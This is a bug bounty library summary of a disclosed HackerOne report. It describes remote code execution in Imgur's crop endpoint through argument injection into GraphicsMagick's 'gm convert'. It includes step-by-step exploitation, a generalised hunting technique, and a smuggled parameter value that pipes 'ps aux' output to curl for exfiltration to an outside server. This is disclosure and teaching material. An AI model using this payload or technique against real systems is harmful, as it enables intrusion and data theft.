# RCE by command line argument injection to `gm convert` in `/edit/process?a=crop` Unescaped space in Imgur's crop `y` parameter allowed argument injection into `gm convert`, using `-write |cmd|` to achieve RCE. - Payout: hidden - Severity: critical - Program: Imgur - Found by: neex - Disclosed: 2017-04-26 - CVE: CVE-2016-10033 - Write-up quality: 8/10 - Original: https://hackerone.com/reports/212696 - Library page: https://bugbountylibrary.com/r/h1%3A212696 - Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:command-injection vuln:rce **Target:** /edit/process endpoint (a=crop) invoking GraphicsMagick gm convert **Root cause:** The `y` GET parameter is concatenated into a shell command; special chars are escaped but the space character is not, allowing injection of extra command-line arguments to `gm convert`. **Steps:** 1. Upload an image, open editor, select a rectangle, click Apply, capture the `/edit/process?...&a=crop&x=0&y=0&w=700&h=746` request. 2. Modify `y` to `0 -write |ps${IFS}aux|curl${IFS}http://${IFS}-d${IFS}@-`. 3. Send the request; `gm convert` executes the piped command and POSTs `ps aux` output to your server. 4. Replace `ps aux` with any command, using `${IFS}` for spaces. **How found:** Hunting CVE-2016-10033-style argument injection; noticed the `y` param behaved oddly, deduced spaces weren't escaped, confirmed the tool was GraphicsMagick by appending ` -rotate 90` and seeing the image rotate, then read docs for dangerous options and found `-write` supports pipe-prefixed commands. **Exploitation:** Attacker injects `-write ||` as extra arguments to `gm convert`; GraphicsMagick treats a `|`-prefixed filename as a shell command to execute, giving RCE on the Imgur image-processing host and exfiltrating output via curl POST. **Insight:** When escapeshellcmd-style filtering blocks metacharacters but leaves spaces, test argument injection: append benign flags (e.g. `-rotate 90`) to fingerprint the underlying CLI tool, then consult its docs for options like `-write`/`|cmd|` that execute commands. ## Proof of concept (copied exactly from the original report) **Crafted y parameter injecting -write pipe command** ``` 0 -write |ps${IFS}aux|curl${IFS}http://${IFS}-d${IFS}@- ```